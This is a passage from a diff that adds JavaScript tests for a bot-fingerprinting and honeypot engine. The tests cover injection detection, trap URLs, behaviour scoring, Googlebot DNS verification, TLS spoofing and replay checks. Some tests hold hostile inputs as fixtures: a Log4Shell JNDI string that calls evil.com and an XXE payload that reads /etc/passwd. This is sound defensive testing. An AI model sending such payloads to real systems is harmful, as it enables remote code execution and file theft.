1203
+ headers: { 'user-agent': 'test' },
1204
+ ...context, // Spread the test-specific context (body, headers)
1205
+ };
1206
+ const engine = new FingerprintEngine(securityConfig);
1207
+ const decision = await engine.processRequest(fullContext);
1208
+ return { honeypotScore: decision.vector.honeypotScore };
1209
+ };
1210
+
1211
+ it('should detect Log4Shell injection attempts', async () => {
1212
+ const context = { body: { username: 'test', comment: 'Hello ${jndi:ldap://evil.com/a}' } };
1213
+ // Explicitly enable the check for this test
1214
+ const config = { detectInjections: ['log4shell'], fields: [] };
1215
+ expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
1216
+ });
1217
+
1218
+ it('should detect Server-Side Template Injection (SSTI)', async () => {
1219
+ const context = { query: { name: '{{ 7*7 }}' } };
1220
+ // Explicitly enable the check for this test
1221
+ const config = { detectInjections: ['ssti'], fields: [] };
1222
+ expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
1223
+ });
1224
+
1225
+ it('should detect XML External Entity (XXE) injection', async () => {
1226
+ const context = { body: { xml_payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' } };
1227
+ // Explicitly enable the check for this test
1228
+ const config = { detectInjections: ['xxe'], fields: [] };
1229
+ expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
1230
+ });
1231
+
1232
+ it('should NOT detect human-like field interaction order', async () => {
1233
+ const context = {
1234
+ body: { username: 'human', password: 'password123' },
1235
+ headers: { 'x-form-interaction': 'password,username' } // Ordre inversé
1236
+ };
1237
+ const config = { checkFieldOrder: true, fields: [] };
1238
+ expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
1239
+ });
1240
+
1241
+ it('should not trigger on legitimate requests', async () => {
1242
+ const context = {
1243
+ body: { username: 'legit', comment: 'This is a normal comment.' },
1244
+ headers: { 'x-form-interaction': 'username,comment' }
1245
+ };
1246
+ const config = { detectInjections: true, checkFieldOrder: true, fields: [] };
1247
+ expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
1248
+ });
1249
+ });
1250
+
1251
+ describe('Honeypot Scenarios', () => {
1252
+ const inMemoryStore = {
1253
+ _map: new Map(),
1254
+ async get(key) { return this._map.get(key); },
1255
+ async set(key, value) { this._map.set(key, value); },
1256
+ async has(key) { return this._map.has(key); },
1257
+ async delete(key) { this._map.delete(key); },
1258
+ };
1259
+
1260
+ beforeEach(() => {
1261
+ inMemoryStore._map.clear();
1262
+ configureStore(inMemoryStore);
1263
+ vi.restoreAllMocks();
1264
+ // Add a default mock for getTlsFingerprint to stabilize these tests.
1265
+ // This needs to spy on the actual function, not the __internal export.
1266
+ vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
1267
+ ja3: 'mock-ja3', ja4: 'mock-ja4'
1268
+ });
1269
+ });
1270
+
1271
+ const baseSecurityConfig = {
1272
+ weights: { historyScore: 0.1, rotationScore: 0.1, headerAnomalyScore: 0.1, inconsistencyScore: 0.1, honeypotScore: 1.0 },
1273
+ thresholds: { low: 20, medium: 45, high: 75, block: 95 },
1274
+ honeypot: {
1275
+ fields: ['email_confirm'],
1276
+ trapUrls: ['/wp-admin', '/.env'],
1277
+ detectInjections: true
1278
+ }
1279
+ };
1280
+
1281
+ it('should immediately block a request to a trap URL', async () => {
1282
+ const engine = new FingerprintEngine(baseSecurityConfig);
1283
+ const requestContext = {
1284
+ clientIp: '1.1.1.1',
1285
+ path: '/wp-admin/login.php', // Hitting a trap URL
1286
+ cookies: {},
1287
+ query: {},
1288
+ body: {},
1289
+ headers: { 'user-agent': 'A regular browser' },
1290
+ rawHeaders: ['user-agent', 'A regular browser'],
1291
+ isStatic: false,
1292
+ };
1293
+
1294
+ const decision = await engine.processRequest(requestContext);
1295
+
1296
+ expect(decision.vector.honeypotScore).toBe(100);
1297
+ expect(decision.score).toBeGreaterThanOrEqual(100);
1298
+ expect(decision.action).toBe('block');
1299
+ expect(decision.status).toBe(404);
1300
+ });
1301
+
1302
+ it('should penalize direct challenge probing', async () => {
1303
+ const engine = new FingerprintEngine(baseSecurityConfig);
1304
+ // This request is not suspicious on its own...
1305
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
1306
+ historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0
1307
+ });
1308
+
1309
+ const requestContext = {
1310
+ clientIp: '1.1.1.1',
1311
+ path: '/',
1312
+ cookies: {},
1313
+ query: { pow_nonce: 'some-nonce-the-bot-is-testing' }, // ...but it's probing a challenge endpoint.
1314
+ body: {},
1315
+ headers: { 'user-agent': 'A regular browser' },
1316
+ rawHeaders: ['user-agent', 'A regular browser'],
1317
+ isStatic: false,
1318
+ };
1319
+
1320
+ const decision = await engine.processRequest(requestContext);
1321
+
1322
+ // The engine should detect the probe and assign a max honeypot score.
1323
+ expect(decision.vector.honeypotScore).toBe(100);
1324
+ expect(decision.score).toBeGreaterThanOrEqual(100);
1325
+ // The action should be to block the request.
1326
+ expect(decision.action).toBe('block');
1327
+ });
1328
+
1329
+ it('should persist the "condemned" status of a device across requests', async () => {
1330
+ const engine = new FingerprintEngine(baseSecurityConfig);
1331
+ const deviceId = 'condemned-device-123';
1332
+
1333
+ // Step 1: The device hits a trap URL and gets condemned.
1334
+ const trapRequestContext = { // This context is for conceptual setup, not direct processing in this test
1335
+ clientIp: '1.1.1.1',
1336
+ path: '/.env', // Trap URL
1337
+ cookies: { device_id: deviceId },
1338
+ query: {}, body: {}, headers: { 'user-agent': 'A regular browser' }, isStatic: false,
1339
+ };
1340
+
1341
+ // We need to store the initial device data for the condemnation to stick.
1342
+ await inMemoryStore.set(`device:${deviceId}`, {
1343
+ initialDeviceHash: 'any-hash',
1344
+ ips: new Set(['1.1.1.1']),
1345
+ lastUpdate: Date.now(),
1346
+ lastFpHash: 'any-hash',
1347
+ lastChangeTimestamp: 0,
1348
+ rapidChangeCount: 0,
1349
+ condemned: true // This is the key part
1350
+ });
1351
+
1352
+ // Step 2: The same device makes a new, seemingly innocent request.
1353
+ const innocentRequestContext = {
1354
+ clientIp: '1.1.1.1',
1355
+ path: '/legitimate-page', // Normal URL
1356
+ cookies: { device_id: deviceId }, // Same device ID
1357
+ query: new URLSearchParams(), body: {}, headers: { 'user-agent': 'A regular browser' }, rawHeaders: ['user-agent', 'A regular browser'], isStatic: false,
1358
+ };
1359
+
1360
+ const decision = await engine.processRequest(innocentRequestContext);
1361
+
1362
+ // The honeypot score should still be 100 due to the persisted "condemned" status.
1363
+ expect(decision.vector.honeypotScore).toBe(100);
1364
+ expect(decision.action).toBe('block');
1365
+ });
1366
+
1367
+ it('should use external analyzers to detect threats', async () => {
1368
+ const customAnalyzer = vi.fn((data) => {
1369
+ // This analyzer flags any request containing the word 'custom-threat'
1370
+ return JSON.stringify(data).includes('custom-threat');
1371
+ });
1372
+
1373
+ const securityConfigWithAnalyzer = {
1374
+ // On crée une config locale pour ce test pour éviter les interférences
1375
+ weights: baseSecurityConfig.weights,
1376
+ thresholds: baseSecurityConfig.thresholds,
1377
+ // Pour ce test, on désactive le challenge des nouveaux appareils pour isoler le comportement de l'analyseur.
1378
+ // Cela empêche une requête propre d'être challengée juste parce qu'elle est nouvelle.
1379
+ challengeNewDevices: false,
1380
+ honeypot: { // Configuration complète
1381
+ ...baseSecurityConfig.honeypot,
1382
+ analyzers: [customAnalyzer]
1383
+ }
1384
+ };
1385
+
1386
+ const engine = new FingerprintEngine(securityConfigWithAnalyzer);
1387
+
1388
+ // 1. Test a request that should be flagged by the analyzer
1389
+ const maliciousRequestContext = {
1390
+ clientIp: '1.1.1.1',
1391
+ path: '/some-path',
1392
+ cookies: {},
1393
+ query: {},
1394
+ body: { comment: 'this is a custom-threat' },
1395
+ headers: { 'user-agent': 'A regular browser' },
1396
+ rawHeaders: ['user-agent', 'A regular browser'],
1397
+ isStatic: false,
1398
+ };
1399
+
1400
+ const decisionMalicious = await engine.processRequest(maliciousRequestContext);
1401
+
1402
+ expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a custom-threat' });
1403
+ expect(decisionMalicious.vector.honeypotScore).toBe(100);
1404
+ expect(decisionMalicious.action).toBe('block');
1405
+
1406
+ // 2. Test a normal request that should not be flagged
1407
+ const cleanRequestContext = {
1408
+ clientIp: '2.2.2.2',
1409
+ path: '/some-path',
1410
+ cookies: {},
1411
+ query: {},
1412
+ body: { comment: 'this is a normal comment' },
1413
+ headers: { 'user-agent': 'A regular browser', 'accept-language': 'en-US,en;q=0.9' },
1414
+ rawHeaders: ['user-agent', 'A regular browser', 'accept-language', 'en-US,en;q=0.9'],
1415
+ isStatic: false,
1416
+ };
1417
+
1418
+ const decisionClean = await engine.processRequest(cleanRequestContext);
1419
+
1420
+ expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a normal comment' });
1421
+ // The honeypot score should be 0 as no other traps were triggered
1422
+ expect(decisionClean.vector.honeypotScore).toBe(0);
1423
+ });
1424
+ });
1425
+
1426
+ describe('getBehaviorScore', () => {
1427
+ // La fonction est privée, on la récupère via l'export __internal
1428
+ // FIX: Correctly assign the function before tests run.
1429
+ beforeEach(() => {
1430
+ getBehaviorScore = fingerprint.__internal.getBehaviorScore;
1431
+ });
1432
+
1433
+ beforeEach(() => {
1434
+ getBehaviorScore = fingerprint.__internal.getBehaviorScore;
1435
+ });
1436
+
1437
+ it('should return a score of 0 when x-behavior-metrics header is missing', () => {
1438
+ const context = { headers: {} };
1439
+ const { behaviorScore } = getBehaviorScore(context);
1440
+ expect(behaviorScore).toBe(0);
1441
+ });
1442
+
1443
+ it('should return a score of 100 for honeypot interaction', () => {
1444
+ const metrics = { honeypotInteraction: true, mouseEntropy: 50, keystrokeLatency: 120 };
1445
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1446
+ const { behaviorScore } = getBehaviorScore(context);
1447
+ expect(behaviorScore).toBe(100);
1448
+ });
1449
+
1450
+ it('should return a score of 40 for no mouse or keyboard activity', () => {
1451
+ const metrics = { honeypotInteraction: false, mouseMovementsHistory: [], keystrokeLatency: 0 };
1452
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1453
+ const { behaviorScore } = getBehaviorScore(context);
1454
+ expect(behaviorScore).toBe(40);
1455
+ });
1456
+
1457
+ it('should return a score of 0 for normal user activity', () => {
1458
+ // Données de test avec un mouvement moins linéaire pour éviter la pénalité de "rectitude"
1459
+ const metrics = {
1460
+ honeypotInteraction: false,
1461
+ mouseMovementsHistory: [{x:10,y:10,t:1},{x:12,y:15,t:100},{x:18,y:12,t:200},{x:25,y:25,t:300}],
1462
+ keystrokeLatency: 88.2
1463
+ };
1464
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1465
+ const { behaviorScore } = getBehaviorScore(context);
1466
+ expect(behaviorScore).toBeLessThan(10); // Le score ne sera pas exactement 0, mais il devrait être très bas.
1467
+ });
1468
+
1469
+ it('should return a score of 10 for a malformed header', () => {
1470
+ const context = { headers: { 'x-behavior-metrics': 'this is not json' } };
1471
+ const { behaviorScore } = getBehaviorScore(context);
1472
+ expect(behaviorScore).toBe(10);
1473
+ });
1474
+ });
1475
+
1476
+ describe('getClickVarianceScore', () => {
1477
+ // FIX: Correctly assign the function before tests run.
1478
+ beforeEach(() => {
1479
+ getClickVarianceScore = fingerprint.__internal.getClickVarianceScore;
1480
+ });
1481
+
1482
+ it('should return 0 if no click history is present', () => {
1483
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify({}) } };
1484
+ const { clickVarianceScore } = getClickVarianceScore(context);
1485
+ expect(clickVarianceScore).toBe(0);
1486
+ });
1487
+
1488
+ it('should return 0 if there are not enough clicks on a single target', () => {
1489
+ const metrics = {
1490
+ clicksHistory: [
1491
+ { x: 10, y: 10, targetId: 'hash1' },
1492
+ { x: 11, y: 11, targetId: 'hash1' },
1493
+ { x: 100, y: 100, targetId: 'hash2' }
1494
+ ]
1495
+ };
1496
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1497
+ const { clickVarianceScore } = getClickVarianceScore(context);
1498
+ expect(clickVarianceScore).toBe(0);
1499
+ });
1500
+
1501
+ it('should return a high score for clicks with very low variance', () => {
1502
+ const metrics = {
1503
+ clicksHistory: [
1504
+ { x: 100, y: 100, targetId: 'hash1' },
1505
+ { x: 100.1, y: 100.2, targetId: 'hash1' },
1506
+ { x: 99.9, y: 99.8, targetId: 'hash1' }
1507
+ ]
1508
+ };
1509
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1510
+ const { clickVarianceScore } = getClickVarianceScore(context);
1511
+ expect(clickVarianceScore).toBeGreaterThan(90);
1512
+ });
1513
+
1514
+ it('should return a low score for clicks with high (human-like) variance', () => {
1515
+ const metrics = {
1516
+ clicksHistory: [
1517
+ { x: 105, y: 110, targetId: 'hash1' },
1518
+ { x: 98, y: 102, targetId: 'hash1' },
1519
+ { x: 112, y: 95, targetId: 'hash1' }
1520
+ ]
1521
+ };
1522
+ const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
1523
+ const { clickVarianceScore } = getClickVarianceScore(context);
1524
+ expect(clickVarianceScore).toBe(0);
1525
+ });
1526
+ });
1527
+
1528
+ describe('Bot Whitelisting', () => {
1529
+ const inMemoryStore = {
1530
+ _map: new Map(),
1531
+ get: async (key) => inMemoryStore._map.get(key),
1532
+ set: async (key, value) => inMemoryStore._map.set(key, value),
1533
+ has: async (key) => inMemoryStore._map.has(key),
1534
+ delete: async (key) => inMemoryStore._map.delete(key),
1535
+ };
1536
+
1537
+ const securityConfig = {
1538
+ weights: {}, // Add empty weights to satisfy the validator
1539
+ thresholds: {}, // Add empty thresholds to satisfy the validator
1540
+ whitelist: [
1541
+ { userAgent: 'Googlebot', hostnameSuffix: '.googlebot.com' },
1542
+ { userAgent: 'TestBot', hostnameSuffix: '.test-verifier.com' },
1543
+ { userAgent: 'MalformedRegexBot(]', hostnameSuffix: '.invalid.com' } // Invalid regex
1544
+ ]
1545
+ };
1546
+
1547
+ let engine;
1548
+
1549
+ beforeEach(() => {
1550
+ inMemoryStore._map.clear();
1551
+ configureStore(inMemoryStore);
1552
+ vi.resetAllMocks(); // Reset mocks before each test
1553
+ engine = new FingerprintEngine(securityConfig);
1554
+ });
1555
+
1556
+ test('should verify a legitimate Googlebot', async () => {
1557
+ const googleIp = '66.249.66.1';
1558
+ const googleHostname = 'crawl-66-249-66-1.googlebot.com';
1559
+
1560
+ vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
1561
+ vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
1562
+
1563
+ const requestContext = {
1564
+ clientIp: googleIp,
1565
+ headers: { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
1566
+ };
1567
+
1568
+ const isVerified = await engine._verifyWhitelistedBot(requestContext);
1569
+ expect(isVerified).toBe(true);
1570
+ expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(googleIp);
1571
+ expect(vi.mocked(dns.resolve)).toHaveBeenCalledWith(googleHostname);
1572
+ });
1573
+
1574
+ test('should reject a fake Googlebot with non-matching IP', async () => {
1575
+ const fakeGoogleIp = '1.2.3.4';
1576
+ const fakeHostname = 'not-google.com';
1577
+
1578
+ vi.mocked(dns.reverse).mockResolvedValue([fakeHostname]);
1579
+
1580
+ const requestContext = {
1581
+ clientIp: fakeGoogleIp,
1582
+ headers: { 'user-agent': 'Googlebot' }
1583
+ };
1584
+
1585
+ const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} }); // Pass fingerprint
1586
+ expect(isVerified).toBe(false);
1587
+ expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(fakeGoogleIp);
1588
+ expect(vi.mocked(dns.resolve)).not.toHaveBeenCalled(); // Should fail at reverse lookup
1589
+ });
1590
+
1591
+ test('should reject a bot if forward DNS does not match back to original IP', async () => {
1592
+ const ip = '66.249.66.1';
1593
+ const hostname = 'crawl-66-249-66-1.googlebot.com';
1594
+
1595
+ vi.mocked(dns.reverse).mockResolvedValue([hostname]);
1596
+ vi.mocked(dns.resolve).mockResolvedValue(['66.249.66.2']); // Different IP
1597
+
1598
+ const requestContext = { clientIp: ip, headers: { 'user-agent': 'Googlebot' }, fingerprint: {} };
1599
+ const isVerified = await engine._verifyWhitelistedBot(requestContext);
1600
+ expect(isVerified).toBe(false);
1601
+ });
1602
+
1603
+ test('should use cache for subsequent requests from a verified IP', async () => {
1604
+ const googleIp = '66.249.66.1';
1605
+ const googleHostname = 'crawl-66-249-66-1.googlebot.com';
1606
+ const requestContext = { clientIp: googleIp, headers: { 'user-agent': 'Googlebot' } };
1607
+
1608
+ // First call: perform DNS lookups and cache the result
1609
+ vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
1610
+ vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
1611
+ await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
1612
+ expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
1613
+ expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
1614
+
1615
+ // Second call: should use the cache
1616
+ const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
1617
+ expect(isVerified).toBe(true); // Should still be true
1618
+ // DNS functions should not be called again
1619
+ expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
1620
+ expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
1621
+ });
1622
+
1623
+ test('should handle invalid regex in whitelist rules gracefully', async () => {
1624
+ const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
1625
+ const requestContext = {
1626
+ clientIp: '1.2.3.4',
1627
+ headers: { 'user-agent': 'MalformedRegexBot(]' }
1628
+ };
1629
+
1630
+ const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
1631
+ expect(isVerified).toBe(false);
1632
+ expect(consoleErrorSpy).toHaveBeenCalledWith(expect.stringContaining('[Fingerprint] Invalid regex in whitelist rule'));
1633
+ consoleErrorSpy.mockRestore();
1634
+ });
1635
+ });
1636
+ });
1637
+
1638
+ describe('getTlsSpoofingScore', () => {
1639
+ let getTlsFingerprintMock; // Renamed to reflect it's the mock function
1640
+ let getTlsSpoofingScore;
1641
+
1642
+ beforeEach(async () => {
1643
+ // Spy on getTlsFingerprint to control its output for these tests
1644
+ getTlsFingerprintMock = vi.spyOn(fingerprint.__internal, 'getTlsFingerprint');
1645
+ getTlsSpoofingScore = fingerprint.__internal.getTlsSpoofingScore;
1646
+ });
1647
+
1648
+ afterEach(() => {
1649
+ getTlsFingerprintMock.mockRestore(); // Restore the spy after each test
1650
+ });
1651
+
1652
+ it('should return 0 if no TLS fingerprint is available', () => {
1653
+ getTlsFingerprintMock.mockReturnValue({ ja3: null, ja4: null });
1654
+ const context = { headers: { 'user-agent': 'Mozilla/5.0' } };
1655
+ const { tlsSpoofingScore } = getTlsSpoofingScore(context);
1656
+ expect(tlsSpoofingScore).toBe(0);
1657
+ });
1658
+
1659
+ it('should return a high score if TLS fingerprint is present but User-Agent is generic/missing', () => {
1660
+ getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null }); // A known Chrome JA3
1661
+ const context1 = { headers: { 'user-agent': 'curl/7.64.1' } };
1662
+ const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
1663
+ expect(score1).toBe(50);
1664
+
1665
+ const context2 = { headers: { 'user-agent': '' } };
1666
+ const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
1667
+ expect(score2).toBe(50);
1668
+
1669
+ const context3 = { headers: {} };
1670
+ const { tlsSpoofingScore: score3 } = getTlsSpoofingScore(context3, getTlsFingerprintMock);
1671
+ expect(score3).toBe(50);
1672
+ });
1673
+
1674
+ it('should return a high score for browser/OS mismatch between JA3 and User-Agent', () => {
1675
+ // Use a known JA3 for Chrome, but a User-Agent for Firefox
1676
+ getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
1677
+ const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
1678
+ const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
1679
+ expect(score1).toBe(80);
1680
+
1681
+ // Use a known JA3 for Firefox, but a User-Agent for Chrome
1682
+ getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
1683
+ const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
1684
+ const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
1685
+ expect(score2).toBe(80);
1686
+ });
1687
+
1688
+ it('should return 0 for consistent JA3 and User-Agent', () => {
1689
+ // Consistent Chrome
1690
+ getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
1691
+ const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
1692
+ const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
1693
+ expect(score1).toBe(0);
1694
+
1695
+ // Consistent Firefox
1696
+ getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
1697
+ const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
1698
+ const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
1699
+ expect(score2).toBe(0);
1700
+ });
1701
+ });
1702
+
1703
+ // Define patternConfig at a higher scope to be accessible by multiple describe blocks
1704
+ const patternConfig = {
1705
+ minSamples: 5, // Lower for easier testing
1706
+ regularityThreshold: 50,
1707
+ benfordThreshold: 0.15,
1708
+ patternWeight: 80,
1709
+ decayFactor: 0.9,
1710
+ inactivityReset: 5000,
1711
+ };
1712
+
1713
+ describe('getRequestPatternScore', () => {
1714
+ let dateNowSpy;
1715
+
1716
+ afterEach(() => {
1717
+ if (dateNowSpy) {
1718
+ dateNowSpy.mockRestore();
1719
+ }
1720
+ });
1721
+
1722
+ test('should return zero score for the first request', () => {
1723
+ const deviceData = { requestHistory: [] };
1724
+ const context = { path: '/home', query: {} };
1725
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1726
+ expect(requestPatternScore).toBe(0);
1727
+ });
1728
+
1729
+ test('should NOT assign a pattern score if not enough samples are collected', () => {
1730
+ const deviceData = {
1731
+ requestHistory: [],
1732
+ timingHistory: [100, 200, 150] // Only 3 samples, less than minSamples (5)
1733
+ };
1734
+ const context = { path: '/page', query: {} };
1735
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
1736
+
1737
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1738
+ expect(requestPatternScore).toBe(0);
1739
+ });
1740
+
1741
+ test('should assign a high pattern score for highly regular (robotic) requests', () => {
1742
+ const deviceData = {
1743
+ requestHistory: [],
1744
+ timingHistory: [100, 100, 100, 100, 100, 100] // stdDev = 0, which is < regularityThreshold
1745
+ };
1746
+ const context = { path: '/page', query: {} };
1747
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
1748
+
1749
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1750
+ expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
1751
+ });
1752
+
1753
+ test('should assign a high pattern score for non-natural (Benford-violating) timings', () => {
1754
+ // This distribution of leading digits (all 9s) violates Benford's law.
1755
+ const deviceData = {
1756
+ requestHistory: [],
1757
+ timingHistory: [901, 923, 911, 954, 987, 932, 945, 965, 978, 999]
1758
+ };
1759
+ const context = { path: '/page', query: {} };
1760
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
1761
+
1762
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1763
+ expect(requestPatternScore).toBe(patternConfig.patternWeight); // 80
1764
+ });
1765
+
1766
+ test('should apply decay factor to the score over time', () => {
1767
+ const deviceData = {
1768
+ requestHistory: [{ timestamp: 10000, path: '/home', queryString: '' }],
1769
+ lastPatternScore: 50, // Previous score
1770
+ timingHistory: []
1771
+ };
1772
+ const context = { path: '/contact', query: {} };
1773
+
1774
+ // Simulate a slow, non-pattern-matching request
1775
+ dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(12000);
1776
+
1777
+ const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
1778
+
1779
+ // Expected: (previous score * decay) + 0 (since no new pattern was detected)
1780
+ const expectedScore = 50 * patternConfig.decayFactor; // 50 * 0.9 = 45
1781
+ expect(requestPatternScore).toBe(expectedScore);
1782
+ });
1783
+
1784
+ it('should decay a low score towards zero after inactivity', async () => {
1785
+ const context = { path: '/test', query: {} };
1786
+ const deviceData = { requestHistory: [], timingHistory: [], lastPatternScore: 15 };
1787
+ const lowScore = 15;
1788
+
1789
+ // 2. Attendre
1790
+ await new Promise(r => setTimeout(r, 1600));
1791
+
1792
+ // 3. Le score doit avoir décru (mais pas forcément être exactement 0)
1793
+ const { requestPatternScore: decayedScore } = getRequestPatternScore(context, deviceData, patternConfig);
1794
+ expect(decayedScore).toBeLessThanOrEqual(lowScore);
1795
+ expect(decayedScore).toBeGreaterThanOrEqual(0);
1796
+ });
1797
+ }); // <-- AJOUT DE L'ACCOLADE FERMANTE MANQUANTE
1798
+
1799
+ describe('determineOptimalTicketTtl', () => {
1800
+ const { determineOptimalTicketTtl } = __internal;
1801
+
1802
+ // Les bornes définies dans la fonction (5min et 24h)
1803
+ const MIN_TTL = 300000;
1804
+ const MAX_TTL = 86400000;
1805
+
1806
+ test('should return a long TTL for a very low suspicion score', () => {
1807
+ const score = 5; // Very low suspicion
1808
+ const ttl = determineOptimalTicketTtl(score);
1809
+
1810
+ // With a low score, the TTL should be close to the maximum.
1811
+ // We expect a TTL of many hours.
1812
+ expect(ttl).toBeGreaterThan(MAX_TTL * 0.75); // Greater than 75% of the max TTL (18 hours)
1813
+ expect(ttl).toBeLessThanOrEqual(MAX_TTL);
1814
+ });
1815
+
1816
+ // Ce test est conçu pour être résilient aux variations de l'algorithme génétique.
1817
+ // Il réessaie jusqu'à 3 fois pour s'assurer que l'échec n'est pas dû à une mauvaise convergence ponctuelle.
1818
+ test('should return a short TTL for a very high suspicion score', async () => {
1819
+ const score = 95; // Very high suspicion
1820
+ const maxAttempts = 5;
1821
+ let lastError = null;
1822
+
1823
+ for (let attempt = 1; attempt <= maxAttempts; attempt++) {
1824
+ try {
1825
+ const ttl = determineOptimalTicketTtl(score);
1826
+ // With a high score, the TTL should be very short, close to the minimum.
1827
+ expect(ttl).toBeLessThan(MIN_TTL * 6); // Less than 6x the minimum TTL (30 minutes)
1828
+ expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
1829
+ lastError = null; // Success
1830
+ break; // Exit loop on success
1831
+ } catch (e) {
1832
+ lastError = e;
1833
+ }
1834
+ }
1835
+ if (lastError) throw lastError; // If all attempts failed, throw the last error
1836
+ });
1837
+
1838
+ test('should return a TTL within the valid range for a medium score', () => {
1839
+ const score = 50; // Moyennement suspect
1840
+ const ttl = determineOptimalTicketTtl(score);
1841
+
1842
+ expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
1843
+ expect(ttl).toBeLessThanOrEqual(MAX_TTL);
1844
+ });
1845
+
1846
+ // Ce test est plus difficile à déclencher, mais il valide la robustesse de la fonction.
1847
+ // On peut le simuler en forçant l'algorithme génétique à retourner un tableau vide.
1848
+ });
1849
+
1850
+ describe('getTimeInconsistencyScore', () => {
1851
+ const REPLAY_THRESHOLD_MS = 5000; // Doit correspondre à la valeur dans fingerprint.js
1852
+
1853
+ it('should return 0 for a normal, fresh request (clientTimestamp slightly before requestTimestamp)', () => {
1854
+ const requestTimestamp = Date.now();
1855
+ const clientTimestamp = requestTimestamp - 100; // 100ms before server reception
1856
+ const context = { requestTimestamp };
1857
+ const metrics = { clientTimestamp };
1858
+
1859
+ const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1860
+ expect(timeInconsistencyScore).toBe(0);
1861
+ });
1862
+
1863
+ it('should return a score > 0 for a replayed request (clientTimestamp significantly before requestTimestamp)', () => {
1864
+ const requestTimestamp = Date.now();
1865
+ const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS + 1000); // 1 second beyond threshold
1866
+ const context = { requestTimestamp };
1867
+ const metrics = { clientTimestamp };
1868
+
1869
+ const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
1870
+ // Expected score: ( (REPLAY_THRESHOLD_MS + 1000) / REPLAY_THRESHOLD_MS - 1) * 50
1871
+ // (6000 / 5000 - 1) * 50 = (1.2 - 1) * 50 = 0.2 * 50 = 10
1872
+ expect(timeInconsistencyScore).toBeGreaterThan(0);
1873
+ // Utiliser toBeCloseTo pour éviter les problèmes de précision des nombres à virgule flottante.
1874
+ expect(timeInconsistencyScore).toBeCloseTo(10);
1875
+ });
1876
+
1877
